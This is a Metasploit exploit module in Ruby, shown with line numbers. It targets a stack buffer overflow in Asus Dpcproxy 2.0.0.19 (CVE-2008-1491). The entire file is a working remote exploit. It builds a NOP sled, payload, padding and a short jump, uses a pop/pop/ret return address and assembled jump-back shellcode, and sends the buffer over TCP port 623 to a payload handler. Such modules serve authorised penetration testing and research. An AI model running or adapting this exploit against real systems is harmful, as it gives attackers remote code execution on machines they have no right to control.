Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Asus Dpcproxy Buffer Overflow',
14
      'Description'    => %q{
15
          This module exploits a stack buffer overflow in Asus Dpcroxy version 2.0.0.19.
16
          It should be vulnerable until version 2.0.0.24.
17
          Credit to Luigi Auriemma
18
      },
19
      'Author'         => 'Jacopo Cervini',
20
      'References'     =>
21
        [
22
          [ 'CVE', '2008-1491' ],
23
          [ 'OSVDB', '43638' ],
24
          [ 'BID', '28394' ],
25
        ],
26
      'DefaultOptions' =>
27
        {
28
          'EXITFUNC' => 'process',
29
        },
30
      'Payload'        =>
31
        {
32
          'Space'    => 400,
33
          'BadChars' => "\x07\x08\x0d\x0e\x0f\x7e\x7f\xff",
34
        },
35
      'Platform'       => 'win',
36
      'Targets'        =>
37
        [
38
          [ 'Asus Dpcroxy version 2.00.19 Universal',     { 'Ret' => 0x0040273b } ], # p/p/r
39
        ],
40
      'Privileged'     => true,
41
      'DefaultTarget'  => 0,
42
      'DisclosureDate' => '2008-03-21'))
43

44
    register_options([Opt::RPORT(623)])
45

46
  end
47

48
  def exploit
49
    connect
50

51
    sploit =   make_nops(0x38a - payload.encoded.length)+ payload.encoded + rand_text_english(6032)
52
    sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)
53
    sploit << [target.ret].pack('V') +  make_nops(8) + Metasm::Shellcode.assemble(Metasm::Ia32.new, "add bh,6 add bh,6 add bh,2 push ebx ret").encode_string #jmp back
54
    sploit << make_nops(50)
55

56
    print_status("Trying target #{target.name}...")
57
    sock.put(sploit)
58
    select(nil,nil,nil,3) # =(
59

60
    handler
61
    disconnect
62
  end
63
end
64

65